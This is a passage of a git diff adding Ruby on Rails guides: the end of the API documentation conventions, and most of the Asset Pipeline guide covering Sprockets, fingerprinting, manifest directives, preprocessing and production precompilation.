+# => <p><code>:to_param</code></p>
+```
+
+### Regular Font
+
+When "true" and "false" are English words rather than Ruby keywords use a regular font:
+
+```ruby
+# Runs all the validations within the specified context.
+# Returns true if no errors are found, false otherwise.
+#
+# If the argument is false (default is +nil+), the context is
+# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
+# and to <tt>:update</tt> if it is not.
+#
+# Validations with no <tt>:on</tt> option will run no
+# matter the context. Validations with # some <tt>:on</tt>
+# option will only run in the specified context.
+def valid?(context = nil)
+  ...
+end
+```
+
+Description Lists
+-----------------
+
+In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
+
+```ruby
+# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+```
+
+The description starts in upper case and ends with a full stop-it's standard English.
+
+Dynamically Generated Methods
+-----------------------------
+
+Methods created with `(module|class)_eval(STRING)` have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:
+
+```ruby
+for severity in Severity.constants
+  class_eval <<-EOT, __FILE__, __LINE__ + 1
+    def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
+      add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
+    end                                                              # end
+                                                                     #
+    def #{severity.downcase}?                                        # def debug?
+      #{severity} >= @level                                          #   DEBUG >= @level
+    end                                                              # end
+  EOT
+end
+```
+
+If the resulting lines are too wide, say 200 columns or more, put the comment above the call:
+
+```ruby
+# def self.find_by_login_and_activated(*args)
+#   options = args.extract_options!
+#   ...
+# end
+self.class_eval %{
+  def self.#{method_id}(*args)
+    options = args.extract_options!
+    ...
+  end
+}
+```
+
+Method Visibility
+-----------------
+
+When writing documentation for Rails, it's important to understand the difference between public user-facing API vs internal API.
+
+Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the `:nodoc:` directive to annotate these kinds of methods as internal API.
+
+This means that there are methods in Rails with `public` visibility that aren't meant for user consumption.
+
+An example of this is `ActiveRecord::Core::ClassMethods#arel_table`:
+
+```ruby
+module ActiveRecord::Core::ClassMethods
+  def arel_table #:nodoc:
+    # do some magic..
+  end
+end
+```
+
+If you thought, "this method looks like a public class method for `ActiveRecord::Core`", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as `:nodoc:` and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no guarantee and so you shouldn't depend on this API in your plugins or applications. Otherwise, you risk your app or gem breaking when you upgrade to a newer release of Rails.
+
+As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle. It's recommended that you `:nodoc:` any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change, but changing public API is much harder due to backwards compatibility.
+
+A class or module is marked with `:nodoc:` to indicate that all methods are internal API and should never be used directly.
+
+To summarize, the Rails team uses `:nodoc:` to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first.
+
+Regarding the Rails Stack
+-------------------------
+
+When documenting parts of Rails API, it's important to remember all of the
+pieces that go into the Rails stack.
+
+This means that behavior may change depending on the scope or context of the
+method or class you're trying to document.
+
+In various places there is different behavior when you take the entire stack
+into account, one such example is
+`ActionView::Helpers::AssetTagHelper#image_tag`:
+
+```ruby
+# image_tag("icon.png")
+#   # => <img alt="Icon" src="/assets/icon.png" />
+```
+
+Although the default behavior for `#image_tag` is to always return
+`/images/icon.png`, we take into account the full Rails stack (including the
+Asset Pipeline) we may see the result seen above.
+
+We're only concerned with the behavior experienced when using the full default
+Rails stack.
+
+In this case, we want to document the behavior of the _framework_, and not just
+this specific method.
+
+If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the [issue tracker](https://github.com/rails/rails/issues).
diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md
new file mode 100644
index 0000000000..a02eebf263
--- /dev/null
+++ b/guides/source/asset_pipeline.md
@@ -0,0 +1,1299 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+The Asset Pipeline
+==================
+
+This guide covers the asset pipeline.
+
+After reading this guide, you will know:
+
+* What the asset pipeline is and what it does.
+* How to properly organize your application assets.
+* The benefits of the asset pipeline.
+* How to add a pre-processor to the pipeline.
+* How to package assets with a gem.
+
+--------------------------------------------------------------------------------
+
+What is the Asset Pipeline?
+---------------------------
+
+The asset pipeline provides a framework to concatenate and minify or compress
+JavaScript and CSS assets. It also adds the ability to write these assets in
+other languages and pre-processors such as CoffeeScript, Sass and ERB.
+It allows assets in your application to be automatically combined with assets
+from other gems. For example, jquery-rails includes a copy of jquery.js
+and enables AJAX features in Rails.
+
+The asset pipeline is implemented by the
+[sprockets-rails](https://github.com/rails/sprockets-rails) gem,
+and is enabled by default. You can disable it while creating a new application by
+passing the `--skip-sprockets` option.
+
+```bash
+rails new appname --skip-sprockets
+```
+
+Rails automatically adds the `sass-rails`, `coffee-rails` and `uglifier`
+gems to your Gemfile, which are used by Sprockets for asset compression:
+
+```ruby
+gem 'sass-rails'
+gem 'uglifier'
+gem 'coffee-rails'
+```
+
+Using the `--skip-sprockets` option will prevent Rails from adding
+them to your Gemfile, so if you later want to enable
+the asset pipeline you will have to add those gems to your Gemfile. Also,
+creating an application with the `--skip-sprockets` option will generate
+a slightly different `config/application.rb` file, with a require statement
+for the sprockets railtie that is commented-out. You will have to remove
+the comment operator on that line to later enable the asset pipeline:
+
+```ruby
+# require "sprockets/railtie"
+```
+
+To set asset compression methods, set the appropriate configuration options
+in `production.rb` - `config.assets.css_compressor` for your CSS and
+`config.assets.js_compressor` for your JavaScript:
+
+```ruby
+config.assets.css_compressor = :yui
+config.assets.js_compressor = :uglifier
+```
+
+NOTE: The `sass-rails` gem is automatically used for CSS compression if included
+in the Gemfile and no `config.assets.css_compressor` option is set.
+
+
+### Main Features
+
+The first feature of the pipeline is to concatenate assets, which can reduce the
+number of requests that a browser makes to render a web page. Web browsers are
+limited in the number of requests that they can make in parallel, so fewer
+requests can mean faster loading for your application.
+
+Sprockets concatenates all JavaScript files into one master `.js` file and all
+CSS files into one master `.css` file. As you'll learn later in this guide, you
+can customize this strategy to group files any way you like. In production,
+Rails inserts an SHA256 fingerprint into each filename so that the file is
+cached by the web browser. You can invalidate the cache by altering this
+fingerprint, which happens automatically whenever you change the file contents.
+
+The second feature of the asset pipeline is asset minification or compression.
+For CSS files, this is done by removing whitespace and comments. For JavaScript,
+more complex processes can be applied. You can choose from a set of built in
+options or specify your own.
+
+The third feature of the asset pipeline is it allows coding assets via a
+higher-level language, with precompilation down to the actual assets. Supported
+languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by
+default.
+
+### What is Fingerprinting and Why Should I Care?
+
+Fingerprinting is a technique that makes the name of a file dependent on the
+contents of the file. When the file contents change, the filename is also
+changed. For content that is static or infrequently changed, this provides an
+easy way to tell whether two versions of a file are identical, even across
+different servers or deployment dates.
+
+When a filename is unique and based on its content, HTTP headers can be set to
+encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment,
+or in web browsers) to keep their own copy of the content. When the content is
+updated, the fingerprint will change. This will cause the remote clients to
+request a new copy of the content. This is generally known as _cache busting_.
+
+The technique Sprockets uses for fingerprinting is to insert a hash of the
+content into the name, usually at the end. For example a CSS file `global.css`
+
+```
+global-908e25f4bf641868d8683022a5b62f54.css
+```
+
+This is the strategy adopted by the Rails asset pipeline.
+
+Rails' old strategy was to append a date-based query string to every asset linked
+with a built-in helper. In the source the generated code looked like this:
+
+```
+/stylesheets/global.css?1309495796
+```
+
+The query string strategy has several disadvantages:
+
+1. **Not all caches will reliably cache content where the filename only differs by
+query parameters**
+
+    [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/),
+ "...avoiding a querystring for cacheable resources". He found that in this
+case 5-20% of requests will not be cached. Query strings in particular do not
+work at all with some CDNs for cache invalidation.
+
+2. **The file name can change between nodes in multi-server environments.**
+
+    The default query string in Rails 2.x is based on the modification time of
+the files. When assets are deployed to a cluster, there is no guarantee that the
+timestamps will be the same, resulting in different values being used depending
+on which server handles the request.
+
+3. **Too much cache invalidation**
+
+    When static assets are deployed with each new release of code, the mtime
+(time of last modification) of _all_ these files changes, forcing all remote
+clients to fetch them again, even when the content of those assets has not changed.
+
+Fingerprinting fixes these problems by avoiding query strings, and by ensuring
+that filenames are consistent based on their content.
+
+Fingerprinting is enabled by default for both the development and production
+environments. You can enable or disable it in your configuration through the
+`config.assets.digest` option.
+
+More reading:
+
+* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
+* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
+
+
+How to Use the Asset Pipeline
+-----------------------------
+
+In previous versions of Rails, all assets were located in subdirectories of
+`public` such as `images`, `javascripts` and `stylesheets`. With the asset
+pipeline, the preferred location for these assets is now the `app/assets`
+directory. Files in this directory are served by the Sprockets middleware.
+
+Assets can still be placed in the `public` hierarchy. Any assets under `public`
+will be served as static files by the application or web server when
+`config.public_file_server.enabled` is set to true. You should use `app/assets` for
+files that must undergo some pre-processing before they are served.
+
+In production, Rails precompiles these files to `public/assets` by default. The
+precompiled copies are then served as static assets by the web server. The files
+in `app/assets` are never served directly in production.
+
+### Controller Specific Assets
+
+When you generate a scaffold or a controller, Rails also generates a JavaScript
+file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a
+Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`)
+for that controller. Additionally, when generating a scaffold, Rails generates
+the file scaffolds.css (or scaffolds.scss if `sass-rails` is in the
+`Gemfile`.)
+
+For example, if you generate a `ProjectsController`, Rails will also add a new
+file at `app/assets/javascripts/projects.coffee` and another at
+`app/assets/stylesheets/projects.scss`. By default these files will be ready
+to use by your application immediately using the `require_tree` directive. See
+[Manifest Files and Directives](#manifest-files-and-directives) for more details
+on require_tree.
+
+You can also opt to include controller specific stylesheets and JavaScript files
+only in their respective controllers using the following:
+
+`<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag
+params[:controller] %>`
+
+When doing this, ensure you are not using the `require_tree` directive, as that
+will result in your assets being included more than once.
+
+WARNING: When using asset precompilation, you will need to ensure that your
+controller assets will be precompiled when loading them on a per page basis. By
+default .coffee and .scss files will not be precompiled on their own. See
+[Precompiling Assets](#precompiling-assets) for more information on how
+precompiling works.
+
+NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript.
+If you are using macOS or Windows, you have a JavaScript runtime installed in
+your operating system. Check [ExecJS](https://github.com/rails/execjs#readme) documentation to know all supported JavaScript runtimes.
+
+You can also disable generation of controller specific asset files by adding the
+following to your `config/application.rb` configuration:
+
+```ruby
+  config.generators do |g|
+    g.assets false
+  end
+```
+
+### Asset Organization
+
+Pipeline assets can be placed inside an application in one of three locations:
+`app/assets`, `lib/assets` or `vendor/assets`.
+
+* `app/assets` is for assets that are owned by the application, such as custom
+images, JavaScript files or stylesheets.
+
+* `lib/assets` is for your own libraries' code that doesn't really fit into the
+scope of the application or those libraries which are shared across applications.
+
+* `vendor/assets` is for assets that are owned by outside entities, such as
+code for JavaScript plugins and CSS frameworks. Keep in mind that third party
+code with references to other files also processed by the asset Pipeline (images,
+stylesheets, etc.), will need to be rewritten to use helpers like `asset_path`.
+
+WARNING: If you are upgrading from Rails 3, please take into account that assets
+under `lib/assets` or `vendor/assets` are available for inclusion via the
+application manifests but no longer part of the precompile array. See
+[Precompiling Assets](#precompiling-assets) for guidance.
+
+#### Search Paths
+
+When a file is referenced from a manifest or a helper, Sprockets searches the
+three default asset locations for it.
+
+The default locations are: the `images`, `javascripts` and `stylesheets`
+directories under the `app/assets` folder, but these subdirectories
+are not special - any path under `assets/*` will be searched.
+
+For example, these files:
+
+```
+app/assets/javascripts/home.js
+lib/assets/javascripts/moovinator.js
+vendor/assets/javascripts/slider.js
+vendor/assets/somepackage/phonebox.js
+```
+
+would be referenced in a manifest like this:
+
+```js
+//= require home
+//= require moovinator
+//= require slider
+//= require phonebox
+```
+
+Assets inside subdirectories can also be accessed.
+
+```
+app/assets/javascripts/sub/something.js
+```
+
+is referenced as:
+
+```js
+//= require sub/something
+```
+
+You can view the search path by inspecting
+`Rails.application.config.assets.paths` in the Rails console.
+
+Besides the standard `assets/*` paths, additional (fully qualified) paths can be
+added to the pipeline in `config/application.rb`. For example:
+
+```ruby
+config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
+```
+
+Paths are traversed in the order they occur in the search path. By default,
+this means the files in `app/assets` take precedence, and will mask
+corresponding paths in `lib` and `vendor`.
+
+It is important to note that files you want to reference outside a manifest must
+be added to the precompile array or they will not be available in the production
+environment.
+
+#### Using Index Files
+
+Sprockets uses files named `index` (with the relevant extensions) for a special
+purpose.
+
+For example, if you have a jQuery library with many modules, which is stored in
+`lib/assets/javascripts/library_name`, the file `lib/assets/javascripts/library_name/index.js` serves as
+the manifest for all files in this library. This file could include a list of
+all the required files in order, or a simple `require_tree` directive.
+
+The library as a whole can be accessed in the application manifest like so:
+
+```js
+//= require library_name
+```
+
+This simplifies maintenance and keeps things clean by allowing related code to
+be grouped before inclusion elsewhere.
+
+### Coding Links to Assets
+
+Sprockets does not add any new methods to access your assets - you still use the
+familiar `javascript_include_tag` and `stylesheet_link_tag`:
+
+```erb
+<%= stylesheet_link_tag "application", media: "all" %>
+<%= javascript_include_tag "application" %>
+```
+
+If using the turbolinks gem, which is included by default in Rails, then
+include the 'data-turbolinks-track' option which causes turbolinks to check if
+an asset has been updated and if so loads it into the page:
+
+```erb
+<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => "reload" %>
+<%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %>
+```
+
+In regular views you can access images in the `app/assets/images` directory
+like this:
+
+```erb
+<%= image_tag "rails.png" %>
+```
+
+Provided that the pipeline is enabled within your application (and not disabled
+in the current environment context), this file is served by Sprockets. If a file
+exists at `public/assets/rails.png` it is served by the web server.
+
+Alternatively, a request for a file with an SHA256 hash such as
+`public/assets/rails-f90d8a84c707a8dc923fca1ca1895ae8ed0a09237f6992015fef1e11be77c023.png`
+is treated the same way. How these hashes are generated is covered in the [In
+Production](#in-production) section later on in this guide.
+
+Sprockets will also look through the paths specified in `config.assets.paths`,
+which includes the standard application paths and any paths added by Rails
+engines.
+
+Images can also be organized into subdirectories if required, and then can be
+accessed by specifying the directory's name in the tag:
+
+```erb
+<%= image_tag "icons/rails.png" %>
+```
+
+WARNING: If you're precompiling your assets (see [In Production](#in-production)
+below), linking to an asset that does not exist will raise an exception in the
+calling page. This includes linking to a blank string. As such, be careful using
+`image_tag` and the other helpers with user-supplied data.
+
+#### CSS and ERB
+
+The asset pipeline automatically evaluates ERB. This means if you add an
+`erb` extension to a CSS asset (for example, `application.css.erb`), then
+helpers like `asset_path` are available in your CSS rules:
+
+```css
+.class { background-image: url(<%= asset_path 'image.png' %>) }
+```
+
+This writes the path to the particular asset being referenced. In this example,
+it would make sense to have an image in one of the asset load paths, such as
+`app/assets/images/image.png`, which would be referenced here. If this image is
+already available in `public/assets` as a fingerprinted file, then that path is
+referenced.
+
+If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) -
+a method of embedding the image data directly into the CSS file - you can use
+the `asset_data_uri` helper.
+
+```css
+#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
+```
+
+This inserts a correctly-formatted data URI into the CSS source.
+
+Note that the closing tag cannot be of the style `-%>`.
+
+#### CSS and Sass
+
+When using the asset pipeline, paths to assets must be re-written and
+`sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass,
+underscored in Ruby) for the following asset classes: image, font, video, audio,
+JavaScript and stylesheet.
+
+* `image-url("rails.png")` returns `url(/assets/rails.png)`
+* `image-path("rails.png")` returns `"/assets/rails.png"`
+
+The more generic form can also be used:
+
+* `asset-url("rails.png")` returns `url(/assets/rails.png)`
+* `asset-path("rails.png")` returns `"/assets/rails.png"`
+
+#### JavaScript/CoffeeScript and ERB
+
+If you add an `erb` extension to a JavaScript asset, making it something such as
+`application.js.erb`, you can then use the `asset_path` helper in your
+JavaScript code:
+
+```js
+$('#logo').attr({ src: "<%= asset_path('logo.png') %>" });
+```
+
+This writes the path to the particular asset being referenced.
+
+Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb`
+extension (e.g., `application.coffee.erb`):
+
+```js
+$('#logo').attr src: "<%= asset_path('logo.png') %>"
+```
+
+### Manifest Files and Directives
+
+Sprockets uses manifest files to determine which assets to include and serve.
+These manifest files contain _directives_ - instructions that tell Sprockets
+which files to require in order to build a single CSS or JavaScript file. With
+these directives, Sprockets loads the files specified, processes them if
+necessary, concatenates them into one single file and then compresses them
+(based on value of `Rails.application.config.assets.js_compressor`). By serving
+one file rather than many, the load time of pages can be greatly reduced because
+the browser makes fewer requests. Compression also reduces file size, enabling
+the browser to download them faster.
+
+
+For example, a new Rails application includes a default
+`app/assets/javascripts/application.js` file containing the following lines:
+
+```js
+// ...
+//= require rails-ujs
+//= require turbolinks
+//= require_tree .
+```
+
+In JavaScript files, Sprockets directives begin with `//=`. In the above case,
+the file is using the `require` and the `require_tree` directives. The `require`
+directive is used to tell Sprockets the files you wish to require. Here, you are
+requiring the files `rails-ujs.js` and `turbolinks.js` that are available somewhere
+in the search path for Sprockets. You need not supply the extensions explicitly.
+Sprockets assumes you are requiring a `.js` file when done from within a `.js`
+file.
+
+The `require_tree` directive tells Sprockets to recursively include _all_
+JavaScript files in the specified directory into the output. These paths must be
+specified relative to the manifest file. You can also use the
+`require_directory` directive which includes all JavaScript files only in the
+directory specified, without recursion.
+
+Directives are processed top to bottom, but the order in which files are
+included by `require_tree` is unspecified. You should not rely on any particular
+order among those. If you need to ensure some particular JavaScript ends up
+above some other in the concatenated file, require the prerequisite file first
+in the manifest. Note that the family of `require` directives prevents files
+from being included twice in the output.
+
+Rails also creates a default `app/assets/stylesheets/application.css` file
+which contains these lines:
+
+```css
+/* ...
+*= require_self
+*= require_tree .
+*/
+```
+
+Rails creates both `app/assets/javascripts/application.js` and
+`app/assets/stylesheets/application.css` regardless of whether the
+--skip-sprockets option is used when creating a new Rails application. This is
+so you can easily add asset pipelining later if you like.
+
+The directives that work in JavaScript files also work in stylesheets
+(though obviously including stylesheets rather than JavaScript files). The
+`require_tree` directive in a CSS manifest works the same way as the JavaScript
+one, requiring all stylesheets from the current directory.
+
+In this example, `require_self` is used. This puts the CSS contained within the
+file (if any) at the precise location of the `require_self` call.
+
+NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import)
+instead of these Sprockets directives. When using Sprockets directives, Sass files exist within
+their own scope, making variables or mixins only available within the document they were defined in.
+
+You can do file globbing as well using `@import "*"`, and `@import "**/*"` to add the whole tree which is equivalent to how `require_tree` works. Check the [sass-rails documentation](https://github.com/rails/sass-rails#features) for more info and important caveats.
+
+You can have as many manifest files as you need. For example, the `admin.css`
+and `admin.js` manifest could contain the JS and CSS files that are used for the
+admin section of an application.
+
+The same remarks about ordering made above apply. In particular, you can specify
+individual files and they are compiled in the order specified. For example, you
+might concatenate three CSS files together this way:
+
+```js
+/* ...
+*= require reset
+*= require layout
+*= require chrome
+*/
+```
+
+### Preprocessing
+
+The file extensions used on an asset determine what preprocessing is applied.
+When a controller or a scaffold is generated with the default Rails gemset, a
+CoffeeScript file and a SCSS file are generated in place of a regular JavaScript
+and CSS file. The example used before was a controller called "projects", which
+generated an `app/assets/javascripts/projects.coffee` and an
+`app/assets/stylesheets/projects.scss` file.
+
+In development mode, or if the asset pipeline is disabled, when these files are
+requested they are processed by the processors provided by the `coffee-script`
+and `sass` gems and then sent back to the browser as JavaScript and CSS
+respectively. When asset pipelining is enabled, these files are preprocessed and
+placed in the `public/assets` directory for serving by either the Rails app or
+web server.
+
+Additional layers of preprocessing can be requested by adding other extensions,
+where each extension is processed in a right-to-left manner. These should be
+used in the order the processing should be applied. For example, a stylesheet
+called `app/assets/stylesheets/projects.scss.erb` is first processed as ERB,
+then SCSS, and finally served as CSS. The same applies to a JavaScript file -
+`app/assets/javascripts/projects.coffee.erb` is processed as ERB, then
+CoffeeScript, and served as JavaScript.
+
+Keep in mind the order of these preprocessors is important. For example, if
+you called your JavaScript file `app/assets/javascripts/projects.erb.coffee`
+then it would be processed with the CoffeeScript interpreter first, which
+wouldn't understand ERB and therefore you would run into problems.
+
+
+In Development
+--------------
+
+In development mode, assets are served as separate files in the order they are
+specified in the manifest file.
+
+This manifest `app/assets/javascripts/application.js`:
+
+```js
+//= require core
+//= require projects
+//= require tickets
+```
+
+would generate this HTML:
+
+```html
+<script src="/assets/core.js?body=1"></script>
+<script src="/assets/projects.js?body=1"></script>
+<script src="/assets/tickets.js?body=1"></script>
+```
+
+The `body` param is required by Sprockets.
+
+### Raise an Error When an Asset is Not Found
+
+If you are using sprockets-rails >= 3.2.0 you can configure what happens
+when an asset lookup is performed and nothing is found. If you turn off "asset fallback"
+then an error will be raised when an asset cannot be found.
+
+```ruby
+config.assets.unknown_asset_fallback = false
+```
+
+If "asset fallback" is enabled then when an asset cannot be found the path will be
+output instead and no error raised. The asset fallback behavior is enabled by default.
+
+### Turning Digests Off
+
+You can turn off digests by updating `config/environments/development.rb` to
+include:
+
+```ruby
+config.assets.digest = false
+```
+
+When this option is true, digests will be generated for asset URLs.
+
+### Turning Debugging Off
+
+You can turn off debug mode by updating `config/environments/development.rb` to
+include:
+
+```ruby
+config.assets.debug = false
+```
+
+When debug mode is off, Sprockets concatenates and runs the necessary
+preprocessors on all files. With debug mode turned off the manifest above would
+generate instead:
+
+```html
+<script src="/assets/application.js"></script>
+```
+
+Assets are compiled and cached on the first request after the server is started.
+Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request
+overhead on subsequent requests - on these the browser gets a 304 (Not Modified)
+response.
+
+If any of the files in the manifest have changed between requests, the server
+responds with a new compiled file.
+
+Debug mode can also be enabled in Rails helper methods:
+
+```erb
+<%= stylesheet_link_tag "application", debug: true %>
+<%= javascript_include_tag "application", debug: true %>
+```
+
+The `:debug` option is redundant if debug mode is already on.
+
+You can also enable compression in development mode as a sanity check, and
+disable it on-demand as required for debugging.
+
+In Production
+-------------
+
+In the production environment Sprockets uses the fingerprinting scheme outlined
+above. By default Rails assumes assets have been precompiled and will be
+served as static assets by your web server.
+
+During the precompilation phase an SHA256 is generated from the contents of the
+compiled files, and inserted into the filenames as they are written to disk.
+These fingerprinted names are used by the Rails helpers in place of the manifest
+name.
+
+For example this:
+
+```erb
+<%= javascript_include_tag "application" %>
+<%= stylesheet_link_tag "application" %>
+```
+
+generates something like this:
+
+```html
+<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
+<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen"
+rel="stylesheet" />
+```
+
+NOTE: with the Asset Pipeline the `:cache` and `:concat` options aren't used
+anymore, delete these options from the `javascript_include_tag` and
+`stylesheet_link_tag`.
+
+The fingerprinting behavior is controlled by the `config.assets.digest`
+initialization option (which defaults to `true`).
+
+NOTE: Under normal circumstances the default `config.assets.digest` option
+should not be changed. If there are no digests in the filenames, and far-future
+headers are set, remote clients will never know to refetch the files when their
+content changes.
+
+### Precompiling Assets
+
+Rails comes bundled with a task to compile the asset manifests and other
+files in the pipeline.
+
+Compiled assets are written to the location specified in `config.assets.prefix`.
+By default, this is the `/assets` directory.
+
+You can call this task on the server during deployment to create compiled
+versions of your assets directly on the server. See the next section for
+information on compiling locally.
+
+The task is:
+
+```bash
+$ RAILS_ENV=production bin/rails assets:precompile
+```
+
+Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment.
+Add the following line to `Capfile`:
+
+```ruby
+load 'deploy/assets'
+```
+
+This links the folder specified in `config.assets.prefix` to `shared/assets`.
+If you already use this shared folder you'll need to write your own deployment
+task.
+
+It is important that this folder is shared between deployments so that remotely
+cached pages referencing the old compiled assets still work for the life of
+the cached page.
+
+The default matcher for compiling files includes `application.js`,
+`application.css` and all non-JS/CSS files (this will include all image assets
+automatically) from `app/assets` folders including your gems:
+
+```ruby
+[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) },
+/application.(css|js)$/ ]
+```
+
+NOTE: The matcher (and other members of the precompile array; see below) is
+applied to final compiled file names. This means anything that compiles to
+JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and
+`.scss` files are **not** automatically included as they compile to JS/CSS.
+
+If you have other manifests or individual stylesheets and JavaScript files to
+include, you can add them to the `precompile` array in `config/initializers/assets.rb`:
+
+```ruby
+Rails.application.config.assets.precompile += %w( admin.js admin.css )
+```
+
+NOTE. Always specify an expected compiled filename that ends with .js or .css,
+even if you want to add Sass or CoffeeScript files to the precompile array.
+
+The task also generates a `.sprockets-manifest-md5hash.json` (where `md5hash` is
+an MD5 hash) that contains a list with all your assets and their respective
+fingerprints. This is used by the Rails helper methods to avoid handing the
+mapping requests back to Sprockets. A typical manifest file looks like:
+
+```ruby
+{"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383,
+"digest":"aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b","integrity":"sha256-ruS+cfEogDeueLmX3ziDMu39JGRxtTPc7aqPn+FWRCs="},
+"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css":{"logical_path":"application.css","mtime":"2016-12-23T19:12:20-05:00","size":2994,
+"digest":"86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18","integrity":"sha256-hqKStQcHk8N+LA5fOfc7s4dkTq6tp/lub8BAoCixbBg="},
+"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico":{"logical_path":"favicon.ico","mtime":"2016-12-23T20:11:00-05:00","size":8629,
+"digest":"8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda","integrity":"sha256-jSOHuNTTLOzZP6OQDfDp/4nQGqzYT1DngMF8n2s9Dto="},
+"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png":{"logical_path":"my_image.png","mtime":"2016-12-23T20:10:54-05:00","size":23414,
+"digest":"f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493","integrity":"sha256-9AKBVv1+ygNYTV8vwEcN8eDbxzaequY4sv8DP5iOxJM="}},
+"assets":{"application.js":"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js",
+"application.css":"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css",
+"favicon.ico":"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico",
+"my_image.png":"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png"}}
+```
+
+The default location for the manifest is the root of the location specified in
+`config.assets.prefix` ('/assets' by default).
+
+NOTE: If there are missing precompiled files in production you will get an
+`Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError`
+exception indicating the name of the missing file(s).
+
+#### Far-future Expires Header
+
+Precompiled assets exist on the file system and are served directly by your web
+server. They do not have far-future headers by default, so to get the benefit of
+fingerprinting you'll have to update your server configuration to add those
+headers.
+
+For Apache:
+
+```apache
+# The Expires* directives requires the Apache module
+# `mod_expires` to be enabled.
+<Location /assets/>
+  # Use of ETag is discouraged when Last-Modified is present
+  Header unset ETag
+  FileETag None
+  # RFC says only cache for 1 year
+  ExpiresActive On
+  ExpiresDefault "access plus 1 year"
+</Location>
+```
+
+For NGINX:
+
+```nginx
+location ~ ^/assets/ {
+  expires 1y;
+  add_header Cache-Control public;
+
+  add_header ETag "";
+}
+```
+
+### Local Precompilation
+
+There are several reasons why you might want to precompile your assets locally.
+Among them are:
+
+* You may not have write access to your production file system.
+* You may be deploying to more than one server, and want to avoid
+duplication of work.
+* You may be doing frequent deploys that do not include asset changes.
+
+Local compilation allows you to commit the compiled files into source control,
+and deploy as normal.
+
+There are three caveats:
+
+* You must not run the Capistrano deployment task that precompiles assets.
+* You must ensure any necessary compressors or minifiers are
+available on your development system.
+* You must change the following application configuration setting:
+
+In `config/environments/development.rb`, place the following line:
+
+```ruby
+config.assets.prefix = "/dev-assets"
+```
+
+The `prefix` change makes Sprockets use a different URL for serving assets in
+development mode, and pass all requests to Sprockets. The prefix is still set to
+`/assets` in the production environment. Without this change, the application
+would serve the precompiled assets from `/assets` in development, and you would
+not see any local changes until you compile assets again.
+
+In practice, this will allow you to precompile locally, have those files in your
+working tree, and commit those files to source control when needed.  Development
+mode will work as expected.
+
+### Live Compilation
+
+In some circumstances you may wish to use live compilation. In this mode all
+requests for assets in the pipeline are handled by Sprockets directly.
+
+To enable this option set:
+
+```ruby
+config.assets.compile = true
+```
+
+On the first request the assets are compiled and cached as outlined in
+development above, and the manifest names used in the helpers are altered to
+include the SHA256 hash.
+
+Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This
+signals all caches between your server and the client browser that this content
+(the file served) can be cached for 1 year. The effect of this is to reduce the
+number of requests for this asset from your server; the asset has a good chance
+of being in the local browser cache or some intermediate cache.
+
+This mode uses more memory, performs more poorly than the default and is not
